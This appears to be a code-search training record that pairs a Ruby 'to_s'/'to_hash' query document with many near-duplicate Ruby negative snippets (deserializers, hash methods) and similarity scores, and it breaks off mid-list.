"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SwiftApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SwiftApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TripletexApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = unwiredClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Quandoo.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end"
] | [
"0.7330926",
"0.7274019",
"0.72504056",
"0.7245751",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.7218884",
"0.7213926",
"0.71909",
"0.7183136",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71632504",
"0.71549904",
"0.71473306",
"0.71413666",
"0.71413666",
"0.7141116",
"0.7141116",
"0.7141116",
"0.7133874",
"0.7133874",
"0.7133874",
"0.7133874",
"0.71333444",
"0.71333444",
"0.7127688",
"0.7125744",
"0.71210617",
"0.71210617",
"0.71190786",
"0.71184087",
"0.711393",
"0.7113519",
"0.7113519",
"0.7113516",
"0.71119875",
"0.71119875",
"0.71119875",
"0.7105169",
"0.7105169",
"0.7105169",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7102596",
"0.7102596",
"0.7102596",
"0.7101596",
"0.7101596",
"0.7101596",
"0.70996517",
"0.70996517",
"0.7097952",
"0.7097185",
"0.70965225"
] | 0.0 | -1 |
Returns the string representation of the object | def to_s
to_hash.to_s
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_s\n @object.to_s\n end",
"def to_s\n object.to_s\n end",
"def serialize(object)\n object.to_s\n end",
"def to_s\n self.inspect\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id}> @names=#{names}>\"\n end",
"def to_s\n self.inspect\n end",
"def to_s\n toString()\n end",
"def to_s\r\n dump\r\n end",
"def to_s\n inspect\n end",
"def to_s\n toString\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n\t\t\t@string\n\t\tend",
"def to_s\n stringify\n end",
"def to_s\n to_h.to_s\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n to_s\n end",
"def to_s\n @string ||= Builder::ToString.new(self).string\n end",
"def to_s\n self\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s\n string\n end",
"def to_s\n inspect\n end",
"def to_s\n inspect\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n self.to_s\n end",
"def inspect\n self.to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def inspect\n to_s.inspect\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect\n return self.to_s\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end"
] | [
"0.901024",
"0.89506465",
"0.84703195",
"0.83409667",
"0.8337169",
"0.8337169",
"0.8332247",
"0.82546586",
"0.8145818",
"0.8144667",
"0.81357557",
"0.812714",
"0.8093436",
"0.8086725",
"0.8073356",
"0.8039774",
"0.80308646",
"0.80064154",
"0.80064154",
"0.80064154",
"0.80064154",
"0.7962831",
"0.7962831",
"0.7962831",
"0.7962831",
"0.7954296",
"0.79446983",
"0.7919419",
"0.7909274",
"0.78848016",
"0.78848016",
"0.78841925",
"0.788328",
"0.788328",
"0.78758216",
"0.78758216",
"0.78758216",
"0.78758216",
"0.78758216",
"0.78758216",
"0.78758216",
"0.7866813",
"0.7866813",
"0.7865939",
"0.7865939",
"0.7850519",
"0.7850519",
"0.7850519",
"0.7850519",
"0.7808076",
"0.7784745",
"0.7784745",
"0.7767656",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824",
"0.77608824"
] | 0.0 | -1 |
to_body is an alias to to_hash (backward compatibility) | def to_body
to_hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_body\r\n to_hash\r\n end",
"def to_body\n to_hash\nend",
"def to_body\n to_hash\nend"
] | [
"0.84283537",
"0.8347048",
"0.8347048"
] | 0.0 | -1 |
Returns the object in the form of hash | def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_hash\n object\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n to_a.hash\n end",
"def hash\n [_hash, name, owner].hash\n end",
"def hash\n return to_s.hash\n end",
"def hash\n @hash\n end",
"def hash\n @hash.hash\n end",
"def hash\n @hash ||= self.to_a.hash\n end",
"def to_hash\n @hash\n end",
"def to_hash\n @hash\n end",
"def hash\n to_s.hash\n end",
"def to_hash\n @hash\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @hash\n end",
"def to_h\n @hash\n end",
"def hash\n to_h.hash ^ self.class.hash\n end",
"def as_hash\n @hash\n end",
"def __getobj__\n @hashobj\n end",
"def to_hash() end",
"def hash\n to_s.hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n object_id\n end",
"def to_hash\n @_hash_\n end",
"def hash\n\t\treturn self.name.to_s.hash\n\tend",
"def to_hash\n to_a.hash\n end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def hash\n data.hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\r\n id.hash\r\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash\n self.to_f.hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def to_hash\n return self\n end",
"def to_hash(object)\n validate_class_kit(object.class)\n\n @hash_helper.to_hash(object)\n end",
"def hash\n return @id.hash\n end",
"def to_h\n Hash[ self ]\n end",
"def to_hash\n Hash[self]\n end",
"def to_h\n @hash.dup\n end",
"def hash\n id.hash\n end",
"def to_h\n @hash.dup\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n model.hash + key.hash\n end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def hash\n [self.class, to_s].hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n self.atoms.hash\n end",
"def to_h\n Hash[self]\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n [description, routing_number, account_number, account_type, signatory, metadata, id, signature_url, bank_name, verified, date_created, date_modified, deleted, object].hash\n end",
"def hash\n @id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n self.class.name.hash\n end",
"def to_h\n @_hash.dup\n end",
"def hash\n\t\t[@id].hash\n\tend",
"def hash\n [self.class, to_s].hash\n end",
"def __hash\n @hash\n end"
] | [
"0.82709855",
"0.78793657",
"0.7874668",
"0.7803157",
"0.7791461",
"0.7781624",
"0.77770436",
"0.77689373",
"0.77623206",
"0.77623206",
"0.77583927",
"0.77330536",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7714564",
"0.7648951",
"0.7648951",
"0.7627239",
"0.7605088",
"0.7595353",
"0.75849384",
"0.7582883",
"0.7582883",
"0.7536325",
"0.74974084",
"0.7435088",
"0.7413825",
"0.7384853",
"0.7367419",
"0.7367292",
"0.7367292",
"0.7367292",
"0.7361411",
"0.73610675",
"0.73610675",
"0.73610675",
"0.73607945",
"0.7340071",
"0.7338297",
"0.7331425",
"0.7331425",
"0.7331425",
"0.73182535",
"0.73064446",
"0.7304105",
"0.7295396",
"0.72876185",
"0.7266025",
"0.7264861",
"0.7263389",
"0.726314",
"0.726314",
"0.726314",
"0.726314",
"0.726314",
"0.726314",
"0.726314",
"0.726314",
"0.726314",
"0.7254138",
"0.7253821",
"0.7253821",
"0.7253821",
"0.7253821",
"0.7253821",
"0.7253821",
"0.7250178",
"0.72487324",
"0.72487324",
"0.7242674",
"0.7230752",
"0.72302645",
"0.72302645",
"0.72302645",
"0.72302645",
"0.72302645",
"0.72302645",
"0.72302645",
"0.72302645",
"0.72302645",
"0.72302645",
"0.72255355",
"0.72196",
"0.7213864",
"0.72128004",
"0.7195037",
"0.718452",
"0.7183288",
"0.717388",
"0.71667963"
] | 0.0 | -1 |
Outputs nonarray value in the form of hash For object, use to_hash. Otherwise, just return the value | def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hash\n [value].hash\n end",
"def hash\n [value].hash\n end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n value.hash\n end",
"def hash\n @value.hash\n end",
"def hash\r\n return to_s.hash\r\n end",
"def to_hash\n @value\n end",
"def to_hash\n @value\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def output_hash; end",
"def to_hash() end",
"def hash\n return to_s.hash\n end",
"def hash\n value_id.hash\n end",
"def to_hash\n call\n @hash = @value\n @hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n self.to_f.hash\n end",
"def hash\n to_s.hash\n end",
"def to_hash(obj = T.unsafe(nil)); end",
"def to_h\n @value\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map{ |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def value_to_hash(value, options = T.unsafe(nil)); end",
"def to_s\r\n to_hash.to_s\r\n end",
"def _to_hash(value)\r\n if value.is_a?(Array)\r\n value.compact.map{ |v| _to_hash(v) }\r\n elsif value.is_a?(Hash)\r\n {}.tap do |hash|\r\n value.each { |k, v| hash[k] = _to_hash(v) }\r\n end\r\n elsif value.respond_to? :to_hash\r\n value.to_hash\r\n else\r\n value\r\n end\r\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def to_s\n to_hash.to_s\nend",
"def to_s\n to_hash.to_s\nend",
"def to_h(value)\n return value unless @to_h\n @to_h.call value\n end",
"def to_hash\n Hash[to_a]\n end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end",
"def to_hash; end"
] | [
"0.6719518",
"0.6719518",
"0.666832",
"0.66565555",
"0.6586841",
"0.6452931",
"0.6414911",
"0.6414911",
"0.6382046",
"0.6346188",
"0.6302933",
"0.62237245",
"0.6151989",
"0.6101756",
"0.60795677",
"0.60795677",
"0.60717124",
"0.6035991",
"0.6021168",
"0.5936472",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5903488",
"0.5890367",
"0.5890367",
"0.5884459",
"0.5884459",
"0.58669275",
"0.58533067",
"0.58355993",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.5803003",
"0.5803003",
"0.57983655",
"0.578115",
"0.577359",
"0.577359",
"0.577359",
"0.577359",
"0.577359",
"0.577359"
] | 0.0 | -1 |
v (always 2 ???) | def initialize(options={})
@query, @max_results, @offset = nil
@alt = 'atom'
@strict = 'false'
@v = 2
@url = base_url
set_instance_variables(options)
@url << build_query_params(to_youtube_params)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bil\n v=1\n end",
"def v\n @v ||= operand(0).evaluate\n end",
"def iv=(v); end",
"def bv d\n 1 << d\n end",
"def qv\n end",
"def __value(v); end",
"def c2= c; @c2 = (c == 1) ? 1 : 0; end",
"def x; 1; end",
"def _V(data) ; end",
"def s(x); 1; end",
"def V(*args)\n end",
"def vat(unknown)\n\t\t#vf = vo + at\n\t\tcase unknown\n\t\twhen :vfy\n\t\t\tvars[:voy] + (vars[:ay] * vars[:t])\n\t\twhen :voy\n\t\t\tvars[:vfy] - (vars[:ay] * vars[:t])\n\t\twhen :t\n\t\t\t(vars[:vfy] - vars[:voy])/vars[:ay]\n\t\tend\n\tend",
"def E\n @x += 1\n end",
"def const(v)\n proc {|_|v}\n end",
"def vat_number; end",
"def villian; end",
"def default_v_score ; raise 'not implemented'; end",
"def what(v)\n @v=v\n end",
"def tankvol(h, d, vt)\n\nend",
"def dv; end",
"def c0= c; @c0 = (c == 1) ? 1 : 0; end",
"def y; end",
"def y; end",
"def y; end",
"def next_var(v)\n return v.next \n end",
"def [](i)\n (@v >> i) & 1\n end",
"def = 3",
